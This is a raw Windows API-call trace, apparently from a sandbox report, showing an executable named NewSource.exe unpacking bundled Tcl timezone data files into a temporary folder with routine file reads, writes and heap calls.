SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ef13f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.596] htonl (hostlong=0x6a060000) returned 0x66a [0039.597] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x66a) returned 0x55e278 [0039.597] htonl (hostlong=0x6a060000) returned 0x66a [0039.597] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.597] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.597] htonl (hostlong=0xb8200000) returned 0x20b8 [0039.597] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20b8) returned 0x561090 [0039.597] htonl (hostlong=0x6a060000) returned 0x66a [0039.597] htonl (hostlong=0xb8200000) returned 0x20b8 [0039.597] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563150 [0039.597] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563150 | out: hHeap=0x530000) returned 1 [0039.597] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.597] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.597] CloseHandle (hObject=0x10c) returned 1 [0039.597] GetLastError () returned 0x0 [0039.597] SetLastError (dwErrCode=0x0) [0039.597] GetLastError () returned 0x0 [0039.597] SetLastError (dwErrCode=0x0) [0039.597] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.597] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.597] GetFileType (hFile=0x10c) returned 0x1 [0039.597] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.597] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.597] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.597] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.597] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.597] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.598] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.598] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.598] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.598] CloseHandle (hObject=0x10c) returned 1 [0039.598] GetLastError () returned 0x0 [0039.598] SetLastError (dwErrCode=0x0) [0039.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.598] GetFileType (hFile=0x10c) returned 0x1 [0039.598] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.598] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.598] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.598] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.598] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.598] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.598] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.598] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.598] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.598] CloseHandle (hObject=0x10c) returned 1 [0039.598] GetLastError () returned 0x0 [0039.598] SetLastError (dwErrCode=0x0) [0039.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.598] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.599] GetFileType (hFile=0x10c) returned 0x1 [0039.599] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.599] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.599] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.599] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.599] CloseHandle (hObject=0x10c) returned 1 [0039.599] GetLastError () returned 0x0 [0039.599] SetLastError (dwErrCode=0x0) [0039.599] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sitka") returned 70 [0039.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sitka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\sitka"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.599] GetLastError () returned 0x2 [0039.599] SetLastError (dwErrCode=0x2) [0039.599] GetLastError () returned 0x2 [0039.599] SetLastError (dwErrCode=0x2) [0039.599] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sitka", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sitka", lpFilePart=0x0) returned 0x45 [0039.599] GetLastError () returned 0x2 [0039.599] SetLastError (dwErrCode=0x2) [0039.599] GetLastError () returned 0x2 [0039.599] SetLastError (dwErrCode=0x2) [0039.600] GetLastError () returned 0x2 [0039.600] SetLastError (dwErrCode=0x2) [0039.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sitka") returned 70 [0039.600] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.600] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Sitka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\sitka"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.600] GetFileType (hFile=0x10c) returned 0x1 [0039.600] htonl (hostlong=0xb8200000) returned 0x20b8 [0039.600] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.601] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.601] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0039.602] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.602] CloseHandle (hObject=0x10c) returned 1 [0039.602] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.602] htonl (hostlong=0x30000000) returned 0x30 [0039.602] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.602] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.602] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.603] GetFileType (hFile=0x10c) returned 0x1 [0039.603] htonl (hostlong=0xa9475a00) returned 0x5a47a9 [0039.603] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ef7a9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.603] htonl (hostlong=0x92000000) returned 0x92 [0039.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0039.603] htonl (hostlong=0x92000000) returned 0x92 [0039.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.603] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.603] htonl (hostlong=0xc7000000) returned 0xc7 [0039.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc7) returned 0x550600 [0039.603] htonl (hostlong=0x92000000) returned 0x92 [0039.603] htonl (hostlong=0xc7000000) returned 0xc7 [0039.603] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.603] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.603] CloseHandle (hObject=0x10c) returned 1 [0039.603] GetLastError () returned 0x0 [0039.603] SetLastError (dwErrCode=0x0) [0039.603] GetLastError () returned 0x0 [0039.603] SetLastError (dwErrCode=0x0) [0039.603] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.603] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.603] GetFileType (hFile=0x10c) returned 0x1 [0039.603] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.603] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.604] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.604] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.604] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.604] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.604] CloseHandle (hObject=0x10c) returned 1 [0039.604] GetLastError () returned 0x0 [0039.604] SetLastError (dwErrCode=0x0) [0039.604] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.604] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.604] GetFileType (hFile=0x10c) returned 0x1 [0039.604] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.604] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.604] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.604] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.604] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.604] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.604] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.604] CloseHandle (hObject=0x10c) returned 1 [0039.605] GetLastError () returned 0x0 [0039.605] SetLastError (dwErrCode=0x0) [0039.605] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.605] GetFileType (hFile=0x10c) returned 0x1 [0039.605] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.605] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.605] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.605] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.605] CloseHandle (hObject=0x10c) returned 1 [0039.605] GetLastError () returned 0x0 [0039.605] SetLastError (dwErrCode=0x0) [0039.605] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Barthelemy") returned 78 [0039.605] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Barthelemy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_barthelemy"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.605] GetLastError () returned 0x2 [0039.605] SetLastError (dwErrCode=0x2) [0039.605] GetLastError () returned 0x2 [0039.605] SetLastError (dwErrCode=0x2) [0039.606] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Barthelemy", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Barthelemy", lpFilePart=0x0) returned 0x4d [0039.606] GetLastError () returned 0x2 [0039.606] SetLastError (dwErrCode=0x2) [0039.606] GetLastError () returned 0x2 [0039.606] SetLastError (dwErrCode=0x2) [0039.606] GetLastError () returned 0x2 [0039.606] SetLastError (dwErrCode=0x2) [0039.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Barthelemy") returned 78 [0039.606] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Barthelemy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_barthelemy"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.606] GetFileType (hFile=0x10c) returned 0x1 [0039.606] htonl (hostlong=0xc7000000) returned 0xc7 [0039.606] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.606] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc7, lpOverlapped=0x0) returned 1 [0039.607] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.607] CloseHandle (hObject=0x10c) returned 1 [0039.608] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.608] htonl (hostlong=0x40000000) returned 0x40 [0039.608] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.608] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.608] GetFileType (hFile=0x10c) returned 0x1 [0039.608] htonl (hostlong=0x3b485a00) returned 0x5a483b [0039.608] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ef83b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.608] htonl (hostlong=0x6b080000) returned 0x86b [0039.609] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86b) returned 0x55e278 [0039.609] htonl (hostlong=0x6b080000) returned 0x86b [0039.609] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.609] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.609] htonl (hostlong=0xa52a0000) returned 0x2aa5 [0039.609] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2aa5) returned 0x561090 [0039.609] htonl (hostlong=0x6b080000) returned 0x86b [0039.609] htonl (hostlong=0xa52a0000) returned 0x2aa5 [0039.609] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563b40 [0039.609] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563b40 | out: hHeap=0x530000) returned 1 